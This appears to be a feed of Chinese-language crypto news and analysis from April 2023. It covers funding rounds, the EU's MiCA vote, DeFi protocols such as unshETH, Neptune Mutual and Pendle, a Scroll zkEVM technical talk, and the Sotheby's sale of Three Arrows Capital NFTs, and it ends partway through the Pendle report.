    PANews 4月20日消息，英国链上保险公司 Nayms 宣布以 8000 万美元的估值完成了 1200 万美元的私募融资，UDHC 领投，New Form、Tokentus 和 Keyrock 等参投。Nayms 将使用新资金扩大其全球团队并加速其加密原生保险市场的发展。Nayms 计划进一步支持其产品开发、营销并加速全球业务扩张。 2021年1月，数字资产保险公司Nayms完成200万美元种子轮融资。  ( 1 min )
    浅析新项目unshETH ：一种使用激励机制来优化验证者去中心化的LSD协议
    撰写：DeFi Sorcerer 编译：深潮 TechFlow Coinbase、Lido、Frax 的 LSD 都在某种程度上受到中心化的困扰，unshETH 是一个使用激励机制来优化 LSD 验证者去中心化的协议，通过验证者去中心化挖矿（vdMining）和验证者支配期权（VDO）两个创新性产品提供解决方案。 unshETH 是一项非常重要的尝试，在本文中，我们将深入探讨 unshETH 的各种机制。 什么是 unshETH？ unshETH 是一种处在早期的新品类： LSDfi - 在流动性质押衍生品（LSD）之上构建的 DeFi 应用程序。 unshETH 旨在通过激励机制，在 LSD 生态系统中以优先考虑验证者去中心化的方式分配资本。 unshETH 在 LSDfi 领域开创了两个关键创新： 1. 验证者去中心化挖矿（vdMining）； 2. 验证者支配期权（VDOs）。 让我们一一了解。 vdMining 是一种代币分发机制，奖励用户以符合 unshETH 社区设置的最佳去中心化比例的方式质押其 LSD。目前，unshETH 支持以下 LSD： 下图显示了不同 LSD 随时间变化的 TVL 份额。 通过 unshETH 协议，用户可以存入他们的 ETH / ETH LSD 以换取 unshETH 代币。用户可以进一步质押其 unshETH 代币以获得 $USH 代币。质押 unshETH 使用户能够在锁定的 LSD 上获得高回报，如果他们以某些条件进行质押。 这就是由 Unsheth 创新之处 ——他们通过经济激励（即额外的质押奖励）来鼓励良好的质押行为。 但是，unshETH 如何奖励用户以最优方式质押其 LSD 呢？这时就需要用到奖励乘数了。 为了更好地理解，让我们首先了解什么是最佳去中心化比例（ODR）和当前比例（CR）。 这个想法是让 LSD 的质押比例达到最佳，从而在验证者之间实现最大程度的去中心化。ODR 每 21 天通过治理提案进行投票。 现在我们了解了 ODR 和 CR，下面就是了解三个奖励乘数： 奖励和惩罚共同适用于池中的所有用户，激励用户之间的协调，以增加他们的集体收益。 VDOs 是一种 LSDfi 术语，允许占主导地位的 LSD 持有者在自己的验证器上编写期权。这使得非主导 LSD 持有者可以获得收益，同时也为主导持有者提供了一种从他们已经建立的主导地位中赚取额外收入的方法。 那么，它是如何工作的？ 占主导地位的 LSD 持有者针对其自己的 LSD 编写 VDOs（不允许其他抵押物）。在这种情况下，行权价格对应于他们在到期日的验证者支配地位 (%)。VDO 的通常合同期限为几天。 非主导 LSD 的代表通过 unshETH DAO 购买 VDOs，该 DAO 预先支付了期权成本。作为交换，unshETH DAO 在 VDO 支付时对收益率有流动性偏好。如果期权到期时没有任何价值，则 DAO 会注销成本。 非主导 LSD 持有者通过 vdMining 和主导 LSD 持有者的一部分收益获得收益，如果 VDO 在“赚钱”的情况下到期，则可以获得这一部分收益。占主导地位的 LSD 持有者编写的 VDO 越冒险，他们赚取的溢价就越大，但潜在损失也越大。 目前，unshETH 在 ETH 和 BNB 链上运行。他们使用 LayerZero 作为底层跨链桥。 代币价格 代币价格在我看来仍然被低估了，尽管它在一个月内上涨了近 6 倍，然后再次回落。然而，代币的大部分流动性都在最近遭受黑客攻击的 Sushiswap 上——所以我建议用户在这里谨慎行事！ 总之，我认为 unshETH 确实做出了一些吸引人的激励创新，旨在解决对 ETH 社区非常重要的问题。就连 V神 也一直在为使用精心设计的激励机制来提高区块链安全性的协议提供担保。  ( 3 min )
    征信机构TransUnion开始为加密贷款提供信用评分
    PANews 4月20日消息，据CoinDesk报道，美国三大个人征信机构之一的 TransUnion 将为去中心化金融 (DeFi) 贷方提供信用评分。TransUnion 将为个人在基于区块链的协议上申请贷款时提供传统（链下）信用评分，而不会损害申请人的隐私。该公司正在与数据安全公司 Spring Labs 和 DeFi 身份与合规软件开发商 Quadrata 合作提供该服务。  ( 1 min )
    CZ：已准备好在未来12-18个月内对我们的业务进行调整，以使其完全合规
    PANews 4月20日消息，币安创始人CZ发推表示，欧洲议会投票支持实施 MiCA。这意味着世界上最大的市场之一正在引入量身定制的加密法规，以保护用户和支持创新。细节很重要，但总的来说，我们认为这是对我们共同面临的挑战的务实解决方案。对于在欧盟运营的加密货币交易所，现在有明确的游戏规则。我们已准备好在未来 12-18 个月内对我们的业务进行调整，以使其完全合规。 今日早些时候，欧盟议会批准首个欧盟范围内的加密货币法规MiCA。  ( 1 min )
    深入解读融资超1000万美元的DeFi保险项目：Neptune Mutual
    Neptune Mutual是一个去中心化保险协议，基于参数覆盖模型，致力于降低投保人面临的加密市场风险。当前Neptune Mutual已在以太坊和Arbitrum网络上部署测试。 Neptune Mutual成立于2021年，截至目前，Neptune Mutual已完成3轮融资，累计融资超过1000万美金。Neptune Mutual有何独特的设计，能获得投资机构的如此青睐？ Neptune Mutual 协议最大的创新就是：基于传统参数保险设计的保险模型。参数保险（Parametric Insurance）也称为指数型保险， 参数保险的赔付不依赖于主观的人为定损，而是依靠客观事件的触发。参数型保险的最大优势体现在理赔环节，不需要进行复杂的现场人为定损，保险可以在合同参数被触发之后迅速进行理赔。这一方面能为投保人提供更加及时的补偿，另一方面也能大幅度降低保险公司的理赔管理成本。具体参考： 链接：https://en.wikipedia.org/wiki/Parametric_insurance 因为Neptune Mutual是去中心化的，其参数保险还是设计了索赔流程。其与其他去中心化保险项目的索赔不同的是，当保险事件发生时，Neptune Mutual只要有一个保单持有人提出索赔，只要索赔经过验证是成功的，其他所有该类保单持有人不需再索赔，都能自动获得赔付，每个单位保单都获得相同数量的稳定币支出（减去费用），保单持有人根据持有的单位保单的数量获得对应的赔付，当然任何一个保单持有人都可以提出索赔。 与其他去中心化保险项目相比，Neptune Mutual还有一个不同的地方是：如果风险事件确认发生，保单用户获得索赔，并不要求保单持有用户真的有财务损失。当风险事件发生时，索赔用户或者其他持有同样保单的用户获得赔付无需提供任何损失证据、提交数据或屏幕截图。也就是说，用户如果猜测或预测某个承保的智能合约风险事件会发生，用户即使在智能合约里没有任何资产，他也可以购买保单，当智能合约的风险事件真的发生时，协议只要验证了风险事件的发生，所有投保人都可以在几天内得到陪付，支付的金额就是用户在投保时就确定了的风险事件发生时投保人可以获得的索赔金额。 Neptune Mutual 协议当前只有智能合约和交易所类型的保险，其他类型的参数型保险还在规划中，下面从与其他去中心化保险项目（当前最成功的保险项目）对比下来看下Neptune Mutual 保险协议的优势和特色。 二、承保池设计 Neptune Mutual 协议的承保池类似可分为“专用”和“多样化”承保池，保证支付仅适用于专用承保池。专用承保池没有资本效率、杠杆作用或对保险子产品的支持。多样化承保池可以支持子产品保险，共同承保各种具有额外杠杆作用和资本效率的保险标的。下表是“专用”和“多样化”承保池之间的一些重要区别和相似之处。 三、流动性提供者 保险合约创建者 当前保险合约创建功能只能通过邀请机制。任何被列入白名单并拥有 NPM 代币的用户都可以创建一个保险合约。创建者必须销毁 1000 个 NPM 代币，以避免垃圾、可疑和无法理解的保险合同。此外，合约创建者必须抵押 4000个NPM 代币或更多。在没有任何承保责任的时候，保险合约创建者可以选择提交终止保险合约提案，但需要通过协议治理流程投票决定或由 Neptune Mutual 团队自行决定。 随着新的保险合约的创建，一个专门的流动性池也被创建。每个流动性池由流动性提供者共同拥有，流动性提供者提供流动性，分享收益，并在发生索赔事件时共同承担损失。流动资金池不属于 Neptune Mutual 协议。 在提供流动性之前，流动性提供者需要分析保险合约，以确认它是否满足其风险偏好。流动性提供者可以用 DAI、USDC或其他受支持的稳定币提供流动性。在提供流动性时，流动性提供者还必须提供 250 NPM 或更多（由保险创建者指定）。 流动性提供者在提供流动性时，流动性提供者将收到 POD（存款证明）代币 。 POD 代币是产生收入（或损失）的资产。 POD 可以在提现期间赎回，以取回稳定币。 流动性提供者能获得保险购买者支付的保单费用收入， 所有保险购买者支付的保单费收入都会自动添加到资金池中。在每个月的月底，承保承诺到期，再次释放流动性以供用户购买保险。随着时间的推移添加到流动资金池中的保单费收入（以稳定币计）会提高 POD 的价格。作为流动性提供者，无需赎回 POD 即可获得保险的收入。 协议的资金池的多余资金在风险控制的情况还支持闪电贷和借贷业务，以为资金池获取更多的收入来源。 保险合约创建者可以向POD质押者提供额外奖励。奖励给质押POD者奖励支出不是稳定币，而是以保险合约标的的项目代币支付。 持有 1 个或更多 NPM 代币的任何人都可以购买最多3个月的保险合同。不需要 KYC。为保证理赔成功，协议将限制流动性提供者在一定时间内提取流动性，也就是说在一定时期内协议将锁定资金池内资产。已过期的保单费用自动累积在资金池中。 在用户购买保单时该协议会自动扣除6.5%的保单费用。佣金收入的主要用来引导和拥有长期流动性和基金保障池。为了建设社区，收入的一部分也会奖励给协议的治理者。 五、经济模型 Neptune Mutual代币(NPM) 没有固定供应量，但可以铸造的最大代币数量限制为 10 亿个代币。到 2033 年年中，将需要大约 10 年的时间才能完全发行所有 NPM 代币。已分配给战略和机构投资者的代币受悬崖期和锁仓时间表的约束，最长可达 2 年，具体取决于地区。团队代币将在未来 5 年内线性释放，这将导致总共约 7 年的代币锁定。 无锁定代币 社区激励代币的分配有助于提高协议的承保池的流动性和协议拥有的流动性，其总体目标是支持基于以太坊的协议并覆盖智能合约风险。这些代币的分配时间取决于协议的使用情况，因为初始活动高的话可能会更快地耗尽分配，而初始较低使用将导致分配在较长时间内分配。如果这些分配被耗尽，协议可能会考虑调整其他种类的分配以增加社区激励和流动资金池分配。 暂定代币发行时间表 债券机制 债券机制的灵感来自 OlympusDAO 概念化的 Protocol-Owned Liquidity 功能。然而，与前者不同的是，NPM 代币不是无限的和通货膨胀的，因此协议不会有一直持续的债券活动。债券池功能只会在赛季中公布。对于债券池可用性的每个季节，都会以折扣价提供固定分配的 NPM 代币。 作为用户，用户可以在等待一周（锁定期）后，使用债券机制将用户的 NPM/DAI 对代币兑换成打折的 NPM 代币。在用户的锁定期之后，用户可以获得打折的 NPM 代币，而不是 Uniswap v2 LP 代币。协议使用 Bond 来引导 POL（Protocol-Owned Liquidity），增加 DEX 上 NPM 代币的流动性深度，并为合格的保险合约项目筹集承销风险资本。 六、融资信息 截至目前，Neptune Mutual已完成1030万美金。其中种子和战略轮完成500万美元融资，主要投资者包括，Fenbushi、Coinbase Ventures、Animoca Brands、GBV Capital、Huobi、OKX等。私募轮融资完成530万美元，XT.com、Gate io、Bitmart、LD Capital、Mapleblock Capital、Pulsar Global、The DuckDao、Dweb3、Lux Capital、Cabin VC、Poolz Finance、BSC Army、Whitelist Ventures、CryptoLark等参投。 Neptune Mutual Cover Protocol 目前处于开发的早期阶段。项目决定进行任何 ICO、IDO、IEO 公开发售，而是将公开发售的所有代币分配给社区。 七、NFT空投和代币 根据项目的文档提供的信息，项目已分配了大量代币在未来几个月和几年内空投给协议的用户。Neptune Mutual 的 NFT 系列将分为以下类型 - Free to Mint 和 Soulbound。 Free to Mint的 NFT 是可以免费铸造的独家艺术品。在 Neptune Mutual 中，用户可以通过与平台互动获得经验来获得这些 NFT。另一方面，空投的 NFT 是分发给个人的，不需要任何形式的支付或补偿。这些 NFT 可以作为促销奖励或作为参与特定事件或活动的奖励提供。 项目用户可以通过与协议交互，多种方式赚取积分：可以购买保单、提供流动性或同时进行。获得一定量的积分就有机会获得NFT和代币NPM的空投。但是，要铸造更高级别的 NFT，您必须首先铸造较低级别的 NFT。NFT等级越高，获得的NFT空投和代币空投越多。  ( 4 min )
    Tornado Cash开发者Alexey Pertsev将于4月26日被释放
    PANews 4月20日消息，Yearn Finance核心开发人员Banteg发推称，Tornado Cash 开发者 Alexey Pertsev 或已经被释放。加密教育组织CryptoCanal创始人@blockblanc表示，下周三（26日），Alexey就可以在电子监控下在家等候审判了。最重要的是他可以四处走动并进行辩护，这在被拘留期间几乎是不可能的。 Pertsev的妻子Ksenia Malik向The Block确认Alex将于4月26日在家过生日。但会带着脚踝监视器。Malik说，该案的进一步调查听证会将于 5 月 24 日举行。 此前报道，Tornado Cash开发者AlexeyPertsev将被拘留至4月21日举行的听证会。  ( 2 min )
    欧盟议会批准首个欧盟范围内的加密货币法规MiCA
    PANews 4月20日消息，据金十报道，市场消息：欧盟议会批准首个欧盟范围内的加密货币法规。据悉，欧盟立法者周四以 517-38 票赞成新的加密货币许可制度 MiCA，有 18 票缺席，使其成为世界上第一个引入全面加密法的主要司法管辖区。欧洲议会还以 529 票对 29 票赞成一项名为“资金转移条例”的单独法律，该条例要求加密货币运营商识别其客户以制止洗钱，14 票弃权。 昨日报道，欧盟的加密监管制度MiCA得到来自多党派的立法者支持，或将很容易通过定于周四举行的投票。  ( 1 min )
    Scroll联合创始人：如何从0到1构建zkEVM？
    原文：Ye Zhang 编译：F.F 演讲分成四个部分，第一部分张烨介绍了开发背景以及我们为什么首先需要zkEVM以及为什么它在最近两年间变得如此受欢迎，第二部分通过一个完整的流程，讲解如何从头开始构建zkEVM包括算术化和证明系统，第三部分通过一些有趣的研究问题来谈论了Scroll 在构建 zkEVM时遇到的问题，最后介绍了一些其他使用zkEVM的应用。 传统的Layer 1 区块链会有一些节点通过P2P网络共同维护。他们在收到用户的交易时，会在EVM的虚拟机内执行，读取调用合约和存储，并依照交易更新全局的状态树。 这样的架构的优势在于去中心化和安全性，缺陷就是在L1上的交易手续费昂贵，并且交易确认缓慢。 ZK-Rollup的架构中，L2 网络只需将数据和验证数据正确性的证明上传至 L1，其中证明通过零知识证明电路计算而来。 在早期的ZK-Rollup中，电路是针对特定应用而设计，用户需要将交易发送给不同的证明者，然后不同应用的ZK-Rollup再将自己的数据和证明提交至L1。这样带来的问题是，丧失了原先 L1 合约的可组合性。 Scroll 所要做的是原生的zkEVM方案，是一种通用型的ZK-Rollup。这样不仅对用户而言更友好，对于开发者而言也可以获得在L1上的开发体验。当然这背后的开发难度非常之大，并且现在的证明生成的代价也非常高。 幸运的是，零知识证明的效率在过去两年里已经大幅提高了，这也是为什么在最近两年zkEVM变得如此受欢迎。至少有四个原因让它变得可行，第一是多项式承诺的出现，在原先Groth16证明系统下，约束的规模非常之庞大，而多项式承诺可以支持更高阶的约束，缩小证明规模；第二是查找表和自定义门的出现，可以支持更灵活的设计，使证明更加高效；第三是硬件加速方面的突破，通过GPU，FPGA和ASIC可以将证明时间缩短1-2个数量级，第四是在递归证明下，可以将多个证明压缩成一个证明，使得证明变得更小更易于验证。所以结合这四个因素，零知识证明的生成效率要比两年前高出三个数量级，这也是 Scoll 的起源。 根据Justin Drake的定义，zkEVM可以分为三类，第一类是语言级别的兼容，主要原因是EVM不是为ZK而设计，有很多对ZK不友好的操作码，因此会造成大量的额外开销。因此像Starkware和zkSync选择在语言层面将Solidity或者Yul编译到ZK友好的编译器中。 第二类是 Scroll 在做的字节码层面的兼容，是直接证明EVM的字节码处理正确与否，直接继承了以太坊的执行环境。在这里可做的一些取舍是，使用和EVM不一样的状态根，例如使用ZK友好的数据结构。Hermez 和 Consensys 也在做类似的事情。 第三类是共识层面的兼容，这里的取舍在于不仅需要保持 EVM 不变，还包括储存结构等实现以太坊完全兼容，代价是需要更长的证明时间。而Scroll 正在和以太坊基金会的 PSE 团队合作构建，来实现以太坊的ZK化 从 0 到 1 构建 zkEVM 第二部分，张烨向大家展示了如何从零开始建立ZKVM。 首先，在ZKP的前端部分，你需要通过数学的算术化来表示你的计算，最常用的就是线性的R1CS，以及Plonkish 和 AIR。通过算术化得到约束后，在ZKP的后端你需要运行证明算法，来证明计算正确性，这里列举了最常用的多项式交互式谕示证明 (Polynomial IOP) 和多项式承诺方案 (PCS)。 在这里我们需要证明 zkEVM，Scroll 使用的是Plonkish，Plonk IOP，以及KZG的组合。 为了理解我们为什么使用这三者的方案。我们首先从最简单的 R1CS 开始，R1CS中的约束，是线性组合乘以线性组合等于线性结合。你可以加上任何变量的线性组合而没有额外的开销，但是在每个约束中阶数最大是2。因此对于阶数较高的运算，需要的约束就越多。 而在 Plonkish 中，你需要将所有的变量填入表格，包括输入，输出以及中间变量的见证。在此之上，你可以定义不同的约束。在 Plonkish 中有三种类型的约束可以使用。 第一种约束是自定义门（Custom Gate），你可以定义不同单元格之间的多项式约束关系，例如 va3 * vb3 * vc3 - vb4 =0。相比R1CS来说，阶数可以更高，因为你可以定义任何一个变量的约束，并且可以定义一些非常不一样的约束。 第二种约束是 Permuation，即等价性校验 (equality checks)。可以用来检查不同单元格的等价性，常用于关联电路中的不同门，比如证明上一个门的输出等于下一个门的输入。 最后一种约束是查找表 (Lookup Table)。我们可以将查找表理解成变量之间存在一个关系，该关系可以表示成一个表。例如我们想要证明 vc7 在 0-15 范围内，在R1CS中你首先需要把这个数值分解为4位二进制，然后证明每位在0-1的范围内，这将需要四个约束。而在 Plonkish中，你可以将所有可能的范围列在同一列，只需要证明vc7属于该列即可，这对范围证明非常高效，在zkEVM中，查找表对于证明内存读写非常有用。 小结一下，Plonkish 同时支持自定义门，等价性校验和查找表，可以非常灵活的满足不同的电路需要。简单对比下STARK，STARK中每一行是一个约束，约束需要表示行与行之间的状态转换，但 Plonkish 中的自定义约束灵活性显然更高。 现在的问题是在zkEVM中，我们如何选择前端。对于zkEVM主要有四个挑战。第一个挑战是EVM的字段是256位，这意味着需要高效得对变量进行范围约束；第二个挑战是EVM有很多ZK不友好的操作码，因此需要非常大规模的约束来证明这些操作码，例如Keccak-256；第三个挑战是内存读写问题，你需要一些有效的映射来证明你所读取的和之前所写入的是一致的；第四个挑战是EVM的执行踪迹是动态变化的，因此我们需要自定义门来适配不同的执行踪迹。出于上述的考虑，我们选择了 Plonkish。 接下来，我们看zkEVM的完整流程，基于初始的全局状态树，一笔新的交易进来后，EVM会读取存储和调用的合约的字节码，根据交易生成相应的执行踪迹例如PUSH, PUSH, STORE, CALLVALUE，然后逐步执行更新全局状态，得到交易后的全局状态树。而zkEVM是将初始的全局状态树，交易本身，以及交易后的全局状态树作为输入，根据EVM的规范，来证明执行踪迹的执行正确性。 深入EVM电路细节，每一步执行踪迹都有对应的电路约束。具体来说，每一步的电路约束包含 Step Context，Case Switch，Opcode Specific Witness。Step Context 包含执行踪迹对应的codehash，剩余gas和计数器；Case Switch 包含所有的操作码，所有的错误情况，以及该步的相应操作；Opcode Specific Witness 包含了操作码所需的额外见证，例如运算数等。 以简单的加法为例，需要确保加法的操作码的控制变量sADD设置为1，其他操作码控制变量均为零。在 Step Context 中，通过设置 gas' - gas - 3 = 0 来约束消耗的 gas 等于 3， 同理约束计数器，栈指针在该步后累加1；在 Case Switch 中，通过操作码控制变量和为1来约束该步为加法操作；在 Opcode Specific Witness 中，对运算数的实际加法进行约束。 此外还需要额外的电路约束，来保证运算数从内存读取的正确性。这里我们首先需要构建一个查找表来证明运算数属于内存。并通过内存电路(RAM Circuit)来验证内存表的正确性。 同样的方法可以适用于zk不友好的哈希函数，构建哈希函数的查找表，将执行踪迹中的哈希输入和输出映射到查找表，利用额外的哈希电路 (Hash Circuit) 来验证哈希查找表的正确性。 现在我们来看zkEVM的电路架构，核心的EVM电路用于约束执行踪迹每一步的正确性，在一些EVM电路约束难度较大的地方，我们通过查找表来映射，包括Fixed Table, Keccak Table, RAM Table, Bytecode, Transaction, Block Context，然后利用单独的电路来约束这些查找表，例如 Keccak 电路用于约束 Keccak 表。 小结一下，zkEVM的完整工作流如下图所示。 证明系统 因为在L1上直接验证上述的EVM电路，内存电路，存储电路等，开销巨大，Scroll 的证明系统采用了两层架构。 第一层负责直接证明EVM本身，需要大量的计算来生成证明。因此第一层证明系统要求支持自定义门和查找表，对硬件加速友好，在低峰值内存下并行生成计算，且验证电路规模小，可以快速验证。有前景的可选方案包括Plonky2，Starky，eSTARK，它们前端基本上都使用 Plonk，但后端可能使用了FRI，并且都满足上述的四个特性。另一类可选的方案包括Zcash所开发的Halo2，以及KZG版本的Halo2。 还有一些新的证明系统也有很有前景，例如最近移除了 FFT 的 HyperPlonk，而NOVA证明系统可以做到更小的递归证明。但它们在研究中只支持R1CS，如果他们未来可以支持 Plonkish 并且应用于实践，将非常实用高效。 第二层证明系统用于证明第一层证明的正确性，需要可以在EVM中高效进行验证，理想情况下，最好也是硬件加速友好并且支持transparent或者universal setup。有前景的可选方案包括Groth16和列数较少的Plonkish证明系统。Groth16仍然是目前研究中证明效率极高的代表，而Plonkish证明系统在列数较少的情况下，也可以达到较高的证明效率。 在Scroll，我们在两层证明系统中我们都采用了Halo2-KZG证明系统。因为Halo2-KZG可以支持自定义门和查找表，在GPU硬件加速下性能良好，且验证电路规模小，可以快速验证。区别在于我们在第一层证明系统中我们使用了Poseidon哈希，进一步提高证明效率，而第二层证明系统因为直接在以太坊上验证，仍然使用了 Keccak 哈希。Scroll 也在探索多层证明系统的可能性，来进一步聚合第二层证明系统生成的聚合证明。 当前实现下，Scroll 的第一层证明系统EVM电路有 116 列，2496 个自定义门，50 个查找表，最高阶数为9，1M Gas下需要2^18行；而第二层证明系统的聚合电路仅有 23 列，1个自定义门，7 个查找表，最高阶数为 5 ，为了聚合EVM电路，内存电路，存储电路，需要2^25行。 Scroll 在 GPU 硬件加速方面也做了非常多的研究和优化工作，对于EVM电路，优化后的GPU证明者仅需30s，相较CPU证明者提升了9倍的效率；而对于聚合电路，优化后的GPU证明者仅需149s，相较CPU提升了15倍的效率。在当前的优化条件下， 1M Gas 第一层证明系统大约需要 2 分钟，第二层证明系统大约需要 3 分钟。 有趣的研究问题 第三部分，张烨谈论了一些Scroll 在构建 zkEVM 过程中有趣的研究问题，从前端的算术化电路到证明者的实现。 首先是电路中的随机性，因为 EVM 字段是256位，我们需要将其拆分成 32 个 8 位的字段，从而更高效得进行范围证明。随后我们使用随机线性组合(Random Linear Combination, RLC)的方法，利用随机数将32个字段编码成1个，只需要验证该字段就可以验证原始的256位字段。但是问题在于随机数的生成需要在拆分字段之后，才能确保不被篡改。因此 Scroll 和 PSE 团队提出了多阶段证明者的方案，来确保在字段拆分之后，再利用随机数生成RLC，该方案被封装在了 Challenge API 中。RLC在zkEVM中有许多应用场景，不仅可以压缩EVM字段成一个字段，也可以加密不定长的输入，或是优化查找表的布局，但仍然有许多开放性的问题需要解决。 电路方面第二个有趣的研究问题是电路布局。Scroll 前端之所以采用 Plonkish，是因为EVM的执行踪迹是动态变化的，需要能支持不同的约束，变化的等价性检验，而R1CS的标准化门需要更大的电路规模来实现。但Scroll 目前使用了 2000 多个自定义门来满足动态变化的执行踪迹，也在探索如何进一步优化电路布局，包括将 Opcode 拆分成 Micro Opcode，或是复用相同表格内的单元格。 电路方面第三个有趣的研究问题是动态规模。因为不同的操作码的电路规模不同，但为了满足动态变化的执行踪迹，每一步的操作码都需要满足最大的电路规模，例如Keccak哈希，因此我们实际上付出了额外的开销。假设我们可以使zkEVM动态适应动态变化的执行踪迹，这将节省不必要的开销。 在证明者方面，Scroll 在 GPU 加速上已经对MSM和NTT进行了大量的优化，但现在的瓶颈转移到了见证生成和复制数据这块。因为假设MSM和NTT占据了80%的证明时间，即使硬件加速可以将这部分效率提升若干个数量级，但原先见证生成和复制数据20%的证明时间将变成新的瓶颈所在。证明者的另一个问题是需要大量的内存，因此也需要探索更便宜更去中心化的硬件方案。 同时Scroll 也在探索硬件加速和证明算法方面，来提升证明者的效率。目前主要有两个大方向，或是切换至更小的域，例如使用64位的Goldilocks域，32位的梅森数（Mersenne Prime）等，或是坚持基于椭圆曲线（EC）的新证明系统，例如SuperNova。当然也有其他的一些别的可能路径，欢迎有想法的朋友直接联系Scroll。 安全性 在构建zkEVM时，安全性是至关重要的。PSE 和 Scroll 共同构建的zkEVM有大约3万4千行代码，从软件工程角度，这些复杂的代码库在很长一段时间内是不可能没有漏洞的。Scroll 目前在通过大量的审计，包括业内最顶尖的审计公司，来审核 zkEVM 的代码库。 第四部分探讨了其他一些使用了zkEVM的应用。 在zkRollup的架构中，我们通过在L1的智能合约，来验证在 L2 上的n笔交易是有效的。 如果我们直接验证L1的区块，那么L1的节点就不需要重复执行交易，只需要验证每一个区块证明的有效性。这样的架构方案称为 Enshrine Blockchain。目前在以太坊上直接实现难度非常之大，因为需要验证整个以太坊区块，其中会包括验证大量签名，随之带来更长的证明时间和更低的安全性。当然也已经有一些其他公链在通过递归证明，使用单个证明，来验证整个区块链，例如Mina。 因为zkEVM可以证明状态转换，它也可以被白帽所利用，来证明自己知道某些智能合约的漏洞，寻求项目方的赏金。 最后一个用例是，是通过零知识证明来证明对历史数据的声明，作为预言机来使用，目前Axiom正在做这方面的产品。最近的ETHBeijing 黑客松上，GasLockR团队正是利用了这一特性，证明了历史的Gas开销。 最后，Scroll 正在构建zkRollup的以太坊通用扩容解决方案，使用了非常先进的算术化电路和证明系统，并且通过硬件加速构建快速的验证器，证明递归。目前Alpha测试网已经上线，并稳定运行了很长时间。 当然仍然有一些有趣的问题需要解决，包括协议设计和机制设计，零知识工程和实际效率，欢迎大家加入Scroll一起构建！  ( 6 min )
    数据：比特币挖矿难度上调1.7%至48.72 T，再创历史新高
    PANews 4月20日消息，据欧科云链OKLink多链浏览器数据显示，比特币挖矿难度在区块高度786240处(今日17:57:33)迎来了挖矿难度调整，挖矿难度略微上调1.7%至48.72 T，续创历史新高。目前全网平均算力为355.32EH/s。  ( 1 min )
    苏富比受清算人委托拍卖三箭资本所持NFT，不涉及NFT基金Starry Night资产
    4月20日，苏富比拍卖行官方宣布将于5月19日起启动“GRAILS: Property from an Iconic Digital Art Collection”数字藏品拍卖，这部分NFT其实来自于已破产的加密对冲基金三箭资本，而旗下NFT基金Starry Night Capital所持资产并不在本轮的清算范围内。 作为进入NFT领域的加密VC，三箭资本曾使用自有资金大手笔收购了不少热门NFT。随着三箭资本破产清算，其持有的NFT已于去年被负责该机构破产程序的清算公司Teneo接手，并于今年2月22日宣布将出售旗下的CryptoPunks、Fidenzas等部分NFT资产，表示预计将在通知发出后28天内开始，“资产转出是清算人职责的一部分，即代表所有债权人确定并最大化回收资产。” Dune Analytics数据显示，目前三箭资本持有的IKB Cachet de Garantie、Curated等NFT价值约为243.6万。 Teneo之所以选择苏富比进行拍卖，原因是该平台可代表所有债权人最大化这些资产的价值。根据苏富比披露，共有7件来自三箭资本没收的精选数字藏品将在今年5月美国纽约举办的拍卖活动上首次拍卖，包括艺术家Dmitri Cherniak的Ringers #879、Art Blocks创始人Snowfro的Chromie Squiggle、生成性艺术家Tyler Hobbs的small-scale Fidenza #725、Zombie CryptoPunk #6649和Autoglyph #187，Kjetil Golid 的 Cube Archetype #397和Alpha Centauri Kid的某件作品。同时，苏富比将通过各种现场和在线拍卖、以及私人销售和其他销售渠道在全球范围内提供。而出于对艺术家的考虑，苏富比将尊重创作者的二次销售版税。 但此次出售的NFT与Starry Night Capital所持资产并无关系。Starry Night Capital是由三箭资本宣布与知名NFT收藏家Vincent Van Dough于2021年8月共同成立的，并将筹款金额定为1亿美元，以投资流行的NFT艺术品和收藏品，及独特、具有文化意义的来自著名NFT艺术家的同类作品。 一经推出后，Starry Night Capital开始高调收购上百个NFT，其中包含不少高价值NFT，比如以1800 ETH购入Ringers #879、以1000 ETH购买“Pepethe Frog NFT Genesis”等。据CoinMetrics研究员Kyle Waters统计，Starry Night Capital曾在一年时间内仅在NFT交易平台SuperRare上就花费了超2100万美元。Dune Analytics数据显示，截至4月20日，Teneo持有的这部分NFT资产预计价值超2080万美元，其中Art Blocks系列和SuperRare系列NFT的价值占整体的64.2%。 虽然Teneo在2022年10月获得了Starry Night Capital的NFT资产托管权，但该机构所持有资产是否会被清算用于偿还三箭资本的债务还未曾可知，而这取决于该机构是否独立运营。据Teneo透露，Starry Night Capital资产清算需要向英属维尔京群岛高等法院的东加勒比最高法院提出申请。 一般而言，如果Starry Night Capital的资产是独立的，那么所持有的收益将分配至基金的出资人，而非三箭资本的债权人。不过，Starry Night Capital成立之初，只有数字资产投资公司KR1公开投资了500万美元，其余的出资人并未披露，不能排除有三箭资本内部及创始人Su Zhu本人的可能性。另外，CoinMetrics分析师Kyle Waters曾发文分析，Starry Night Capital曾将多个NFT转至新钱包，而这些地址或与三箭资本相关联。  ( 2 min )
    加密利率市场春风将至？深度解析LSD利率市场服务商Pendle
    机构：Mint Ventures 作者：Colin Li 1.1 核心投资逻辑 随着LSD叙事的深入，基于LSD发展更复杂的DeFi工具、关注和推演债券市场叙事的呼声逐渐大了起来，这其中包括开始被市场认识到价值以及挖掘新交易策略的Pendle。 引入Ve模型，PENDLE代币开始逐步拥有了更强的价值捕获能力。随着TVL等业务指标持续向好，PENDLE可能已进入了部分稳健投资者的观察范围。 1.2 主要风险 合约风险：如果发生此类事件，对于项目的正常运营以及代币价值捕获会有明显影响。这个风险不仅仅在于Pendle自身，由于Pendle的底层资产来自于其他DeFi项目，所以其他项目如果出现合约风险也会牵连到Pendle。 战略风险：如果没有选好资产、选好资产所在的公链，则可能会在下一阶段的竞争当中被竞争对手甩开。项目团队需要想清楚应该选择什么样的底层资产，以及对公链竞争的残酷性有准确的认识。 市场风险：如果在项目运营期间市场出现大幅下跌，导致底层资产下跌，这对于U本位的投资者来说可能并不友好。 1.3 估值 从“总市值/锁仓量”这个指标来看，当前PENDLE的估值低于同赛道其他两个已经发币的项目。 2. 项目基本情况 2.1 项目业务范围 Pendle立足于收益代币化市场，将生息资产锁定期限之后，分拆为本金代币PT（principle token）和收益代币YT（yield token），满足用户低风险流动性管理的同时，也为部分能敏锐把握收益率波动的交易者提供了博取高收益的工具。 关于加密商业世界的利率市场，笔者不久前写过两篇专门的文章，讨论了加密利率市场背后的商业逻辑和发展推演，即： 感兴趣的读者可以进一步阅读。 2.2 过往发展情况和路线图 2021年3月，从Benchmark更名为Pendle，当月测试网上线； 2021年6月，Pendle主网在以太坊上线； 2021年11月，Pendle部署在Avalanche； 2022年3月，提出Project Permissionless规划，即任何人可以在上面开设资产池； 2022年11月，上线V2版本； 